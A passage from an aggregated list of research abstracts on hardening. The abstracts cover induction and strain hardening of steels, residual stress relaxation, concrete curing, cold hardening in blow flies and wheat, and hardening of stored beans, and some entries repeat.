18, 27 s, respectively, in the inductor which was a three-turn coil with a coupling distance of 2.8 mm. Normalised and induction hardened specimens were fully characterised before and after the wear testing using hardness, profilometer, scanning electron microscopy and X-ray diffraction. The wear tests using a pin-on-disc machine showed that the induction hardening treatments improved the wear behaviour of AISI 4140 steel specimens compared to normalised AISI 4140 steel as a result of residual stresses and hardened surfaces. The wear coefficients in normalised specimens are greater than that in the induction hardened samples. The lowest coefficient of the friction was obtained in specimens induction-hardened at 875 deg. C for 27 s 5. The effects of induction hardening on wear properties of AISI 4140 steel in dry sliding conditions Energy Technology Data Exchange (ETDEWEB) Totik, Y.; Sadeler, R.; Altun, H.; Gavgali, M 2002-02-15 Wear behaviour of induction hardened AISI 4140 steel was evaluated under dry sliding conditions. Specimens were induction hardened at 1000 Hz for 6, 10, 14, 18, 27 s, respectively, in the inductor which was a three-turn coil with a coupling distance of 2.8 mm. Normalised and induction hardened specimens were fully characterised before and after the wear testing using hardness, profilometer, scanning electron microscopy and X-ray diffraction. The wear tests using a pin-on-disc machine showed that the induction hardening treatments improved the wear behaviour of AISI 4140 steel specimens compared to normalised AISI 4140 steel as a result of residual stresses and hardened surfaces. The wear coefficients in normalised specimens are greater than that in the induction hardened samples. The lowest coefficient of the friction was obtained in specimens induction-hardened at 875 deg. C for 27 s. 6. Increase of resistance to cracking on stress relieving of hardened steel International Nuclear Information System (INIS) Velichko, V.V.; Zabil'skij, V.V.; Mikheev, G.M. 1995-01-01 Regularities of increase of resistance to cracking during stress relieving of hardened low-alloyed steels were studied, using complex of methods. Effect of carbon, stress concentrator radius, duration and temperature of stress relieving was studies in particular. Results of investigating kinetics of change of physicomechanical properties, hydrogen desorption from hardened specimens showed, that increase of resistance to cracking was caused by desorption from grain boundaries of diffusion-mobile hydrogen, formed during hardening. 18 refs., 8 figs 7. Development of Bake Hardening Effect by Plastic Deformation and Annealing Conditions Directory of Open Access Journals (Sweden) Kvačkaj, T. 2006-01-01 Full Text Available The paper deals with the classification of steel sheets for automotives industry on the basis of strength and structural characteristics. Experimental works were aimed to obtain the best possible strengthening parameters as well as work hardening and solid solution ferrite hardening, which are the result of thermal activation of interstitial carbon atoms during paint-baking of auto body. Hardening process coming from interstitial atoms is realized as two-step process. The first step is BH (bake hardening effect achieved by interaction of interstitial atoms with dislocations. The Cottrels atmosphere is obtained. The second step of BH effect is to produced the hardening from precipitation of the carbon atoms in e-carbides, or formation of Fe32C4 carbides. WH (work hardening effect is obtained as dislocation hardening from plastic deformations during sheet deep drawing. Experimental works were aimed at as to achieve such plastic material properties after cold rolling, annealing and skin-pass rolling, which would be able to classify the material ZStE220BH into the drawing categories at the level of DQ – DDQ. As resulting from the experimental results, the optimal treatment conditions for the maximal sum (WH+BH = 86 MPa are as follows: total cold rolling deformation ecold = 65 %, annealing temperature Tanneal. = 700 °C. 8. Residual stresses relaxation in surface-hardened half-space under creep conditions Directory of Open Access Journals (Sweden) 2015-09-01 Full Text Available We developed the method for solving the problem of residual stresses relaxation in surface-hardened layer of half-space under creep conditions. At the first stage we made the reconstruction of stress-strain state in half-space after plastic surface hardening procedure based on partial information about distribution for one residual stress tensor component experimentally detected. At the second stage using a numerical method we solve the problem of relaxation of self-balanced residual stresses under creep conditions. To solve this problem we introduce the following Cartesian system: x0y plane is aligned with hardened surface of half-space and 0z axis is directed to the depth of hardened layer. We also introduce the hypotheses of plane sections parallel to x0z and y0z planes. Detailed analysis of the problem has been done. Comparison of the calculated data with the corresponding test data was made for plane specimens (rectangular parallelepipeds made of EP742 alloy during T=650°C after the ultrasonic hardening with four hardening modes. We use half-space to model these specimens because penetration's depth of residual stresses is less than specimen general size in two digit exponent. There is enough correspondence of experimental and calculated data. It is shown that there is a decay (in modulus of pressing residual stresses under creep in 1.4–1.6 times. 9. Nanotechnological applied tasks of the increase in the efficiency of the hardening processes of cement concrete Directory of Open Access Journals (Sweden) Chernishov Evgeny Mihalovich 2017-02-01 Full Text Available The scientific basis of the solution to the applied tasks of concrete technology through the use of «nano» tools, which provide the organization of the heterogeneous process of cement hydration and hardening, has been characterized. It is shown that the introduction of nanoadditives enables the direct regulation of the processes of structure formation in cement systems at the nanolevel. The effectiveness of the use of «nano» tools has been proposed to evaluate by means of complex criteria characterizing quantitatively the change in the activation energy, the rate of the process and time of its completion τ, the size and power consumption of the technology E while ensuring quality levels specified by R. According to the criteria, the monitoring of the results of the research has been made. Moreover, the most effective nanomodifying admixtures of two types have been identified. Type I is a compound nanoadditive based on nanoparticles SiO2 in combination with a superplasticizer, which mechanism of action is associated and also characterized by the increase in specific strength per unit measure the degree of cement hydration by 1.25–1.35 times. Engineering problems have been formulated. Moreover, the solutions are indicated for increasing the energy efficiency of the factory production of reinforced concrete products and structures. These solutions predetermine the reduction in the value of the maximum temperature for the curing of concrete, the reduction of the duration of the achievement of the required degree of cement hydration while concrete hardens, the reduction of time of cement concrete hardening to reach the regulated values of its strength, the increase in concrete strength per unit of cement consumption per m3 and energy efficiency of concrete hardening process in the preparation of reinforced concrete products. with the catalytic role in the processes of phase formation of nanoparticles of hydrated compounds. Type II is a 10. Effect of hardening on the crack growth rate of austenitic stainless steels in primary PWR conditions International Nuclear Information System (INIS) Castano, M.L.; Garcia, M.S.; Diego, G. de; Gomez-Briceno, D.; Francia, L. 2002-01-01 11. Stress corrosion cracking of age-hardenable nickel-base alloys in LWR-conditions International Nuclear Information System (INIS) Kekkonen, T.; Haenninen, H. 1985-01-01 At present it seems that the microstructure most resistant to stress corrosion cracking (SCC) in high temperature water is obtained by a solution annealing treatment at a relatively high temperature (appr. 1100 deg C) followed by water quenching and a single aging treatment (appr. 700 deg C/20 h). This should produce a microstructure with a high M 23 Cc 6 :MC ratio, semi-continous coherent M 23 C 6 precipitation, and an evenly distributed gamma prime in the matrix. However, since the actual mechanism of SCC in age-hardenable Ni-base alloys is unclear, the microstructural features resulting in the good resistance to SCC cannot be specified. Furthermore, the possible microstructural changes caused by prolonged use in LWR-conditions are unknown 12. The influence of hardening conditions on the properties of masonry cement mortar prisms made in brick moulds NARCIS (Netherlands) Bertram, G.; Lourenco, P.B.; Hasseltine, B.A.; Vasconseles, G. 2014-01-01 One aspect of our investigation into the spacing of movement joints involved the short and long term deformation of mortar embedded in masonry. In this research the influence of hardening conditions on the physical and mechanical properties of masonry cement mortar [M5] were studied. Mortar prisms 13. Influence of Microstructure and Process Conditions on Simultaneous Low-Temperature Surface Hardening and Bulk Precipitation Hardening of Nanoflex® DEFF Research Database (Denmark) Bottoli, Federico; Winther, Grethe; Christiansen, Thomas L. 2015-01-01 Precipitation hardening martensitic stainless steel Nanoflex was low-temperature nitrided or nitrocarburized. In these treatments, simultaneous hardening of the bulk, by precipitation hardening, and the surface by dissolving nitrogen/carbon can be obtained because the treatment temperatures...... and times for these essentially different hardening mechanisms are compatible. The effect of the processing history of the steel on the nitrided/nitrocarburized case was investigated by varying the amounts of austenite and martensite through variation of the degree of plastic deformation by tensile strain...... consisting of martensite results in the deepest nitrided case, while a shallow case develops on a microstructure consisting of austenite. For an initial microstructure consisting of both martensite and austenite a non-uniform case depth is achieved. Simultaneous bulk and surface hardening is only possible... 14. Experiment-based modelling of hardening and localized plasticity in metals irradiated under cascade damage conditions International Nuclear Information System (INIS) Singh, B.N.; Ghoniem, N.M.; Trinkaus, H. 2002-01-01 The analysis of the available experimental observations shows that the occurrence of a sudden yield drop and the associated plastic flow localization are the major concerns regarding the performance and lifetime of materials exposed to fission or fusion neutrons. In the light of the known mechanical properties and microstructures of the as-irradiated and irradiated and deformed materials, it has been argued that the increase in the upper yield stress, the sudden yield drop and the initiation of plastic flow localization, can be rationalized in terms of the cascade induced source hardening (CISH) model. Various aspects of the model (main assumptions and predictions) have been investigated using analytical calculations, 3-D dislocation dynamics and molecular dynamics simulations. The main results and conclusions are briefly summarized. Finally, it is pointed out that even though the formation of cleared channels may be rationalized in terms of climb-controlled glide of the source dislocation, a number of problems regarding the initiation and the evolution of these channels remain unsolved 15. Experiment-based modelling of hardening and localized plasticity in metals irradiated under cascade damage conditions Energy Technology Data Exchange (ETDEWEB) Singh, B.N. E-mail: [email protected]; Ghoniem, N.M.; Trinkaus, H 2002-12-01 The analysis of the available experimental observations shows that the occurrence of a sudden yield drop and the associated plastic flow localization are the major concerns regarding the performance and lifetime of materials exposed to fission or fusion neutrons. In the light of the known mechanical properties and microstructures of the as-irradiated and irradiated and deformed materials, it has been argued that the increase in the upper yield stress, the sudden yield drop and the initiation of plastic flow localization, can be rationalized in terms of the cascade induced source hardening (CISH) model. Various aspects of the model (main assumptions and predictions) have been investigated using analytical calculations, 3-D dislocation dynamics and molecular dynamics simulations. The main results and conclusions are briefly summarized. Finally, it is pointed out that even though the formation of cleared channels may be rationalized in terms of climb-controlled glide of the source dislocation, a number of problems regarding the initiation and the evolution of these channels remain unsolved. 16. Effect of thermal exposure on the residual stress relaxation in a hardened cylindrical sample under creep conditions Science.gov (United States) Radchenko, V. P.; Saushkin, M. N.; Tsvetkov, V. V. 2016-05-01 This paper describes the effect of thermal exposure (high-temperature exposure) ( T = 675°C) on the residual creep stress relaxation in a surface hardened solid cylindrical sample made of ZhS6UVI alloy. The analysis is carried out with the use of experimental data for residual stresses after micro-shot peening and exposures to temperatures equal to T = 675°C during 50, 150, and 300 h. The paper presents the technique for solving the boundary-value creep problem for the hardened cylindrical sample with the initial stress-strain state under the condition of thermal exposure. The uniaxial experimental creep curves obtained under constant stresses of 500, 530, 570, and 600 MPa are used to construct the models describing the primary and secondary stages of creep. The calculated and experimental data for the longitudinal (axial) tensor components of residual stresses are compared, and their satisfactory agreement is determined. 17. Chaboche-based cyclic material hardening models for 316 SS–316 SS weld under in-air and pressurized water reactor water conditions Energy Technology Data Exchange (ETDEWEB) Mohanty, Subhasish, E-mail: [email protected]; Soppet, William K.; Majumdar, Saurindranath; Natesan, Krishnamurti 2016-08-15 Highlights: • 316 SS–316 SS weld cyclically harden/soften while undergoing fatigue loading. • Cyclic hardening/softening creates cycle dependent stress-strain curves. • This necessitate to estimate the cycle dependence of material properties. • Cyclic evolution of Chaboche parameters are estimated under different conditions. - Abstract: This paper discusses a material hardening models for welds made from 316 stainless steel (SS) to 316 SS. The model parameters were estimated from the strain-versus-stress curves obtained from tensile and fatigue tests conducted under different conditions (air at room temperature, air at 300 °C, and primary loop water conditions for a pressurized water reactor). These data were used to check the fatigue cycle dependency of the material hardening parameters (yield stress, parameters related to Chaboche-based linear and nonlinear kinematic hardening models, etc.). The details of the experimental results, material hardening models, and associated calculated results are published in an Argonne report (ANL/LWRS-15/2). This paper summarizes the reported material parameters for 316 SS–316 SS welds and their dependency on fatigue cycles and other test conditions. 18. Meat Feeding Restricts Rapid Cold Hardening Response and Increases Thermal Activity Thresholds of Adult Blow Flies, Calliphora vicina (Diptera: Calliphoridae. Directory of Open Access Journals (Sweden) Paul C Coleman Full Text Available Virtually all temperate insects survive the winter by entering a physiological state of reduced metabolic activity termed diapause. However, there is increasing evidence that climate change is disrupting the diapause response resulting in non-diapause life stages encountering periods of winter cold. This is a significant problem for adult life stages in particular, as they must remain mobile, periodically feed, and potentially initiate reproductive development at a time when resources should be diverted to enhance stress tolerance. Here we present the first evidence of protein/meat feeding restricting rapid cold hardening (RCH ability and increasing low temperature activity thresholds. No RCH response was noted in adult female blow flies (Calliphora vicina Robineau-Desvoidy fed a sugar, water and liver (SWL diet, while a strong RCH response was seen in females fed a diet of sugar and water (SW only. The RCH response in SW flies was induced at temperatures as high as 10°C, but was strongest following 3h at 0°C. The CTmin (loss of coordinated movement and chill coma (final appendage twitch temperature of SWL females (-0.3 ± 0.5°C and -4.9 ± 0.5°C, respectively was significantly higher than for SW females (-3.2 ± 0.8°C and -8.5 ± 0.6°C. We confirmed this was not directly the result of altered extracellular K+, as activity thresholds of alanine-fed adults were not significantly different from SW flies. Instead we suggest the loss of cold tolerance is more likely the result of diverting resource allocation to egg development. Between 2009 and 2013 winter air temperatures in Birmingham, UK, fell below the CTmin of SW and SWL flies on 63 and 195 days, respectively, suggesting differential exposure to chill injury depending on whether adults had access to meat or not. We conclude that disruption of diapause could significantly impact on winter survival through loss of synchrony in the timing of active feeding and reproductive development with 19. Microstructural changes and strain hardening effects in abrasive contacts at different relative velocities and temperatures Energy Technology Data Exchange (ETDEWEB) Rojacz, H., E-mail: [email protected] [AC2T research GmbH, Viktor-Kaplan-Straße 2C, 2700 Wiener Neustadt (Austria); Mozdzen, G. [Aerospace & Advanced Composites GmbH, Viktor-Kaplan-Straße 2F, 2700 Wiener Neustadt (Austria); Weigel, F.; Varga, M. [AC2T research GmbH, Viktor-Kaplan-Straße 2C, 2700 Wiener Neustadt (Austria) 2016-08-15 Strain hardening is commonly used to reach the full potential of materials and can be beneficial in tribological contacts. 2-body abrasive wear was simulated in a scratch test, aimed at strain hardening effects in various steels. Different working conditions were examined at various temperatures and velocities. Strain hardening effects and microstructural changes were analysed with high resolution scanning electron microscopy (HRSEM), electron backscatter diffraction (EBSD), micro hardness measurements and nanoindentation. Statistical analysing was performed quantifying the influence of different parameters on microstructures. Results show a crucial influence of temperature and velocity on the strain hardening in tribological contacts. Increased velocity leads to higher deformed microstructures and higher increased surface hardness at a lower depth of the deformed zones at all materials investigated. An optimised surface hardness can be achieved knowing the influence of velocity (strain rate) and temperature for a “tailor-made” surface hardening in tribological systems aimed at increased wear resistance. - Highlights: •Hardening mechanisms and their intensity in tribological contacts are dependent on relative velocity and temperature. •Beneficial surface hardened zones are formed at certain running-in conditions; the scientific background is presented here. •Ferritic-pearlitic steels strain hardens via grain size reduction and decreasing interlamellar distances in pearlite. •Austenitic steels show excellent surface hardening (120% hardness increase) by twinning and martensitic transformation. •Ferritic steels with hard phases harden in the ferrite phase as per Hall-Petch equation and degree of deformation. 20. Microstructural changes and strain hardening effects in abrasive contacts at different relative velocities and temperatures International Nuclear Information System (INIS) Rojacz, H.; Mozdzen, G.; Weigel, F.; Varga, M. 2016-01-01 Strain hardening is commonly used to reach the full potential of materials and can be beneficial in tribological contacts. 2-body abrasive wear was simulated in a scratch test, aimed at strain hardening effects in various steels. Different working conditions were examined at various temperatures and velocities. Strain hardening effects and microstructural changes were analysed with high resolution scanning electron microscopy (HRSEM), electron backscatter diffraction (EBSD), micro hardness measurements and nanoindentation. Statistical analysing was performed quantifying the influence of different parameters on microstructures. Results show a crucial influence of temperature and velocity on the strain hardening in tribological contacts. Increased velocity leads to higher deformed microstructures and higher increased surface hardness at a lower depth of the deformed zones at all materials investigated. An optimised surface hardness can be achieved knowing the influence of velocity (strain rate) and temperature for a “tailor-made” surface hardening in tribological systems aimed at increased wear resistance. - Highlights: •Hardening mechanisms and their intensity in tribological contacts are dependent on relative velocity and temperature. •Beneficial surface hardened zones are formed at certain running-in conditions; the scientific background is presented here. •Ferritic-pearlitic steels strain hardens via grain size reduction and decreasing interlamellar distances in pearlite. •Austenitic steels show excellent surface hardening (120% hardness increase) by twinning and martensitic transformation. •Ferritic steels with hard phases harden in the ferrite phase as per Hall-Petch equation and degree of deformation. 1. Working hardening modelization in zirconium alloys International Nuclear Information System (INIS) Sanchez, P.; Pochettino, Alberto A. 1999-01-01 Working hardening effects on mechanical properties and crystallographic textures formation in Zr-based alloys are studied. The hardening mechanisms for different grain deformations and topological conditions of simple crystal yield are considered. Results obtained show that the differences in the cold rolling textures (L and T textures) can be related with hardening microstructural parameters. (author) 2. Aridity under conditions of increased CO2 Science.gov (United States) Greve, Peter; Roderick, Micheal L.; Seneviratne, Sonia I. 2016-04-01 A string of recent of studies led to the wide-held assumption that aridity will increase under conditions of increasing atmospheric CO2 concentrations and associated global warming. Such results generally build upon analyses of changes in the 'aridity index' (the ratio of potential evaporation to precipitation) and can be described as a direct thermodynamic effect on atmospheric water demand due to increasing temperatures. However, there is widespread evidence that contradicts the 'warmer is more arid' interpretation, leading to the 'global aridity paradox' (Roderick et al. 2015, WRR). Here we provide a comprehensive assessment of modeled changes in a broad set of dryness metrics (primarily based on a range of measures of water availability) over a large range of realistic atmospheric CO2 concentrations. We use an ensemble of simulations from of state-of-the-art climate models to analyse both equilibrium climate experiments and transient historical simulations and future projections. Our results show that dryness is, under conditions of increasing atmospheric CO2 concentrations and related global warming, generally decreasing at global scales. At regional scales we do, however, identify areas that undergo changes towards drier conditions, located primarily in subtropical climate regions and the Amazon Basin. Nonetheless, the majority of regions, especially in tropical and mid- to northern high latitudes areas, display wetting conditions in a warming world. Our results contradict previous findings and highlight the need to comprehensively assess all aspects of changes in hydroclimatological conditions at the land surface. Roderick, M. L., P. Greve, and G. D. Farquhar (2015), On the assessment of aridity with changes in atmospheric CO2, Water Resour. Res., 51, 5450-5463 3. [Microstructural changes in hardened beans (Phaseolus vulgaris)]. Science.gov (United States) Mujica, Maria Virginia; Granito, Marisela; Soto, Naudy 2015-06-01 (Phaseolus vulgaris). The hardening of Phaseolus vulgaris beans stored at high temperature and high relative humidity is one of the main constraints for consumption. The objective of this research was to evaluate by scanning electron microscopy, structural changes in cotyledons and testa of the hardened beans. The freshly harvested grains were stored for twelve months under two conditions: 5 ° C-34% RH and 37 ° C-75% RH, in order to promote hardening. The stored raw and cooked grains were lyophilized and fractured. The sections of testa and cotyledons were observed in an electron microscope JSM-6390. After twelve months, grains stored at 37 ° C-75% RH increased their hardness by 503%, whereas there were no significant changes in grains stored at 5 ° C-34% RH. At the microstructural level, the cotyledons of the raw grains show clear differences in appearance of the cell wall, into the intercellular space size and texture matrix protein. There were also differences in compaction of palisade and sub-epidermal layer in the testa of raw grains. After cooking, cotyledon cells of the soft grains were well separated while these ofhard grains were seldom separated. In conclusion, the found differences in hard and soft grains showed a significant participation of both structures, cotyledons and testa, in the grains hardening. 4. Superheat effect on bainite steel hardenability International Nuclear Information System (INIS) Kubachek, V.V.; Sklyuev, P.V. 1978-01-01 The bainite hardenability of 34KhN1M and 35 KhN1M2Ph steels has been investigated by the end-face hardening technique. It is established that, as the temperature of austenitization rises from 900 to 1280 deg C, the temperature of bainite transformation increases and bainite hardenability of the steels falls off. A repeated slow heating to 900 deg C of previously overheated 34KhN1M steel breaks up grain, lowers the temperature of the bainite transformation and raises the hardenability to values obtained with ordinary hardening from 900 deg C. A similar heating of previously overheated 35KhN1M2Ph steel is accompanied by restoration of initial coarse grains and maintenance of both the elevated bainite transformation temperature and to lower hardenability corresponding to hardening from the temperature of previous overheating 5. A hardenability test proposal Energy Technology Data Exchange (ETDEWEB) Murthy, N.V.S.N. [Ingersoll-Rand (I) Ltd., Bangalore (India) 1996-12-31 A new approach for hardenability evaluation and its application to heat treatable steels will be discussed. This will include an overview and deficiencies of the current methods and discussion on the necessity for a new approach. Hardenability terminology will be expanded to avoid ambiguity and over-simplification as encountered with the current system. A new hardenability definition is proposed. Hardenability specification methods are simplified and rationalized. The new hardenability evaluation system proposed here utilizes a test specimen with varying diameter as an alternative to the cylindrical Jominy hardenability test specimen and is readily applicable to the evaluation of a wide variety of steels with different cross-section sizes. 6. Experiment research on grind-hardening of AISI5140 steel based on thermal copensation Energy Technology Data Exchange (ETDEWEB) Huang, Xiang Ming; Ren, Ying Hui; Zheng, Bo; Zhou, Zhixiong [College of Mechanical and Vehicle Engineering, Hunan University, Changsha, Hunan (China); Deng, Zhao Hui [Key Laboratory for High Efficiency and Precision Machining of Difficult-to-Cut Material of Hunan Province, Hunan (China) 2016-08-15 The grind-hardening process utilizes the heat generated to induce martensitic phase transformation. However, the maximum achievable harden layer depth is limited due to high grinding forces, and the tensile residual stress appears on the ground surface in the grind-hardening process. This paper proposes a new grind-hardening technology using thermal compensation. The workpiece of AISI5140 steel is preheated by electric resistance heating, and ground under the condition of the workpiece temperature 25°C, 120°C, 180°C and 240°C. The grinding force, harden layer depth and surface quality including residual stress on ground surface, surface roughness and micro-hardness are investigated. The experimental results show that a deep harden layer with a fine grain martensite can be obtained with the thermal compensation. The ground workpiece surface produces a certain compressive residual stress, and the residual compressive stress value increases with preheating temperature. As the preheating temperature increases, grinding force slightly decreases, while there is slightly increment of surface roughness. Compared with the conventional grind-hardening process, both the harden layer depth and residual stress distribution are significantly improved. 7. Instabilities in power law gradient hardening materials DEFF Research Database (Denmark) Niordson, Christian Frithiof; Tvergaard, Viggo 2005-01-01 Tension and compression instabilities are investigated for specimens with dimensions in the micron range. A finite strain generalization of a higher order strain gradient plasticity theory is implemented in a finite element scheme capable of modeling power law hardening materials. Effects...... of gradient hardening are found to delay the onset of localization under plane strain tension, and significantly reduce strain gradients in the localized zone. For plane strain compression gradient hardening is found to increase the load-carrying capacity significantly.... 8. Characterization of ductile fracture properties of quench-hardenable boron steel: Influence of microstructure and processing conditions International Nuclear Information System (INIS) Golling, Stefan; Östlund, Rickard; Oldenburg, Mats 2016-01-01 Developments of the hot stamping technology have enabled the production of components with differential microstructure composition and mechanical properties. These can increase the performance of certain crash-relevant automotive structures by combining high intrusion protection and energy absorption. This paper presents a comprehensive experimental investigation on the flow and ductile fracture properties of boron-alloyed steel with a wide range of different microstructure compositions. Three types of dual phase microstructures at three different volume fractions, and one triple phase grade, were generated by thermal treatment. Flow curves extending beyond necking and the equivalent plastic strain to fracture for each grade was determined by tensile testing using full-field measurements. The influence of phase composition and microstructural parameters were further investigated by means of a multi-scale modeling approach based on mean-field homogenization in combination with local fracture criteria. Inter-phase and intra-phase fracture mechanisms were considered by adopting two separate fracture criteria formulated in terms of the local average stress field. The micromechanical model captures with useful accuracy the strong influence of microstructure and processing conditions on the flow and fracture properties, implying promising prospects of mean-field homogenization for the constitutive modeling of hot stamped components. 9. Characterization of ductile fracture properties of quench-hardenable boron steel: Influence of microstructure and processing conditions Energy Technology Data Exchange (ETDEWEB) Golling, Stefan, E-mail: [email protected] [Luleå University of Technology, SE 971 87 Luleå (Sweden); Östlund, Rickard [Gestamp HardTech, Ektjärnsvägen 5, SE 973 45 Luleå (Sweden); Oldenburg, Mats [Luleå University of Technology, SE 971 87 Luleå (Sweden) 2016-03-21 Developments of the hot stamping technology have enabled the production of components with differential microstructure composition and mechanical properties. These can increase the performance of certain crash-relevant automotive structures by combining high intrusion protection and energy absorption. This paper presents a comprehensive experimental investigation on the flow and ductile fracture properties of boron-alloyed steel with a wide range of different microstructure compositions. Three types of dual phase microstructures at three different volume fractions, and one triple phase grade, were generated by thermal treatment. Flow curves extending beyond necking and the equivalent plastic strain to fracture for each grade was determined by tensile testing using full-field measurements. The influence of phase composition and microstructural parameters were further investigated by means of a multi-scale modeling approach based on mean-field homogenization in combination with local fracture criteria. Inter-phase and intra-phase fracture mechanisms were considered by adopting two separate fracture criteria formulated in terms of the local average stress field. The micromechanical model captures with useful accuracy the strong influence of microstructure and processing conditions on the flow and fracture properties, implying promising prospects of mean-field homogenization for the constitutive modeling of hot stamped components. 10. Artificial Intelligence Monitoring of Hardening Methods and Cutting Conditions and Their Effects on Surface Roughness, Performance, and Finish Turning Costs of Solid-State Recycled Aluminum Alloy 6061 Сhips Directory of Open Access Journals (Sweden) 2018-05-01 Full Text Available Aluminum Alloy 6061 components are frequently manufactured for various industries—aeronautics, yachting, and optical instruments—due to their excellent physical and mechanical properties, including corrosion resistance. There is little research on the mechanical tooling of AA6061 and none on its structure and properties and their effects on surface roughness after finish turning. The objective of this comprehensive study is, therefore, to ascertain the effects of both the modern method of hardening AA6061 shafts and the finish turning conditions on surface roughness, Ra, and the minimum machining time for unit-volume removal, Tm, while also establishing the cost price of processing one part, C. The hardening methods improved both the physical and the mechanical material properties processed with 2, 4, and 6 passes of equal channel angular pressing (ECAP at room temperature, using an ECAP-matrix with a channel angle of 90°. The reference workpiece sample was a hot extruded chip under an extrusion ratio (ER of 5.2 at an extrusion temperature of 500 °С (ET = 500 °C. The following results were obtained: grain size in ECAP-6 decreased from 15.9 to 2.46 μm, increasing both microhardness from 41 Vickers hardness value (HV to 110 HV and ultimate tensile strength from 132.4 to 403 MPa. The largest decrease in surface roughness, Ra—70%, was obtained turning a workpiece treated with ECAP-6. The multicriteria optimization was computed in a multilayer perceptron-based artificial neural network that yielded the following optimum values: the minimal length of the three-dimensional estimates vector with the coordinates Ra = 0.800 μm, Tm = 0.341 min/cm3, and С = 6.955 corresponded to the optimal finish turning conditions: cutting speed vc = 200 m/min, depth of cut ap = 0.2 mm, and feed per revolution fr = 0.103 mm/rev (ET-500 extrusion without hardening. 11. Process design of press hardening with gradient material property influence International Nuclear Information System (INIS) Neugebauer, R.; Schieck, F.; Rautenstrauch, A. 2011-01-01 Press hardening is currently used in the production of automotive structures that require very high strength and controlled deformation during crash tests. Press hardening can achieve significant reductions of sheet thickness at constant strength and is therefore a promising technology for the production of lightweight and energy-efficient automobiles. The manganese-boron steel 22MnB5 have been implemented in sheet press hardening owing to their excellent hot formability, high hardenability, and good temperability even at low cooling rates. However, press-hardened components have shown poor ductility and cracking at relatively small strains. A possible solution to this problem is a selective increase of steel sheet ductility by press hardening process design in areas where the component is required to deform plastically during crash tests. To this end, process designers require information about microstructure and mechanical properties as a function of the wide spectrum of cooling rates and sequences and austenitizing treatment conditions that can be encountered in production environments. In the present work, a Continuous Cooling Transformation (CCT) diagram with corresponding material properties of sheet steel 22MnB5 was determined for a wide spectrum of cooling rates. Heating and cooling programs were conducted in a quenching dilatometer. Motivated by the importance of residual elasticity in crash test performance, this property was measured using a micro-bending test and the results were integrated into the CCT diagrams to complement the hardness testing results. This information is essential for the process design of press hardening of sheet components with gradient material properties. 12. Structural characterisation of oxygen diffusion hardened alpha-tantalum PVD-coatings on titanium. Science.gov (United States) Hertl, C; Koll, L; Schmitz, T; Werner, E; Gbureck, U 2014-08-01 Titanium substrates were coated with tantalum layers of 5 μm thickness using physical vapour deposition (PVD). The tantalum layers showed a (110)-preferred orientation. The coated samples were hardened by oxygen diffusion. Using X-ray diffraction the crystallographic structure of the tantalum coatings was characterised, comparing untreated and diffusion hardened specimen conditions. Oxygen depth profiles were determined by glow discharge spectrometry. The hardening effect of the heat treatment was examined by Vickers microhardness testing. The increase of surface hardness caused by oxygen diffusion was at least 50%. Copyright © 2014 Elsevier B.V. All rights reserved. 13. Influences of Soaking Temperature and Storage Conditions on Hardening of Soybeans (Glycine max) and Red Kidney Beans (Phaseolus vulgaris). Science.gov (United States) Koriyama, Takako; Sato, Yoko; Iijima, Kumiko; Kasai, Midori 2017-07-01 The influences of soaking treatment and storage conditions on the softening of cooked beans, namely, soybeans and red kidney beans, were investigated. It was revealed that the softening of fresh soybeans and fresh red kidney beans was suppressed during subsequent boiling after soaking treatment at 50 and 60 °C. Furthermore, in treated aged soybeans and red kidney beans that were subjected to storage at 30 °C/75% relative humidity for 6 mo and soaking treatment at 50 to 60 °C, the hardness during cooking was further amplified. This suggested that the mechanism of softening suppression differs depending on the influences of soaking and storage. Analysis of the pectin fraction in alcohol insoluble solid showed insolubilization of metal ions upon storage at high temperature and high humidity in both soybeans and red kidney beans, which suggests interaction between Ca ions and hemicellulose or cellulose as cell wall polysaccharides. The results of differential scanning calorimetry (DSC) showed that aged soybeans exhibited a shift in the thermal transition temperature of glycinin-based protein to a higher temperature compared with fresh soybeans. From the results of DSC and scanning electron microscopy for aged red kidney beans, damaged starch is not conspicuous in the raw state after storage but is abundant upon soaking treatment. As for the influence of soaking at 60 °C, it can be suggested that its influence on cell wall crosslinking was large in soybeans and red kidney beans in both a fresh state and an aged state. © 2017 Institute of Food Technologists®. 14. The Tebuconazole-based Protectant of Seeds “Bunker” Induces the Synthesis of Dehydrins During Cold Hardening and Increases the Frost Resistance of Wheat Seedlings Directory of Open Access Journals (Sweden) A.V. Korsukova 2015-12-01 Full Text Available Triazole derivatives are widely used in agriculture for seed protectant of cereals against seed and soil infection. Triazole derivatives can have an effect on the biochemical and physiological functions of plants. The tebuconazole-based protectant of seeds «Bunker» (content of tebuconazole 60 grams per liter, g/L is a systemic fungicide of preventive and therapeutic action. The effect of the seed treatment by «Bunker» preparation on the shoot growth and cell viability coleoptile, synthesis of dehydrins in shoots and frost resistance etiolated winter and spring wheat seedlings has been studied. It has been shown that treatment of winter and spring wheat seed by «Bunker» preparation induces similar concentration-dependent inhibition of the coleoptiles length. At the recommended dose (0,5 liter per tonne of seeds, L/t growth inhibition was 28 - 30%, at a concentration of 1 L/t – 33 - 36%, at a concentration of 1,5 L/t – 40 - 42%, at a concentration of 3 L/t – 43 - 47%, at a concentration of 4 L/t – 48 - 51% and at 5 L/t – 53 - 56%. The treatment of wheat seed by «Bunker» preparation had no phytotoxic effect on coleoptile cells in any of the studied concentrations, on the contrary, with increasing concentration of preparation observed the increase in cell viability, as measured by recovery of 2,3,5-triphenyltetrazolium chloride. We can assume that having retardant properties, tebuconazole not only inhibits the growth of plants, but also delays their aging. The treatment of seed protectant at a concentration of 1.5 L/t induced synthesis of the dehydrins with molecular masses about 19, 21, 22, 25 and 27 kD in winter wheat shoots and 18,6, 27 and 28,5 kD in spring wheat shoots during cold hardening. Among identified dehydrins the dehydrin of 27 kD is most significantly induced both in winter and spring wheat. The treatment of seed protectant «Bunker» in the same concentration increased the frost resistance of winter and spring wheat 15. Laser Surface Hardening of Groove Edges Science.gov (United States) Hussain, A.; Hamdani, A. H.; Akhter, R.; Aslam, M. 2013-06-01 Surface hardening of groove-edges made of 3Cr13 Stainless Steel has been carried out using 500 W CO2 laser with a rectangular beam of 2.5×3 mm2. The processing speed was varied from 150-500 mm/min. It was seen that the hardened depth increases with increase in laser interaction time. A maximum hardened depth of around 1mm was achieved. The microhardness of the transformed zone was 2.5 times the hardness of base metal. The XRD's and microstructural analysis were also reported. 16. Solution hardening and strain hardening at elevated temperatures International Nuclear Information System (INIS) Kocks, U.F. 1982-10-01 Solutes can significantly increase the rate of strain hardening; as a consequence, the saturation stress, at which strain hardening tends to cease for a given temperature and strain rate, is increased more than the yield stress: this is the major effect of solutes on strength at 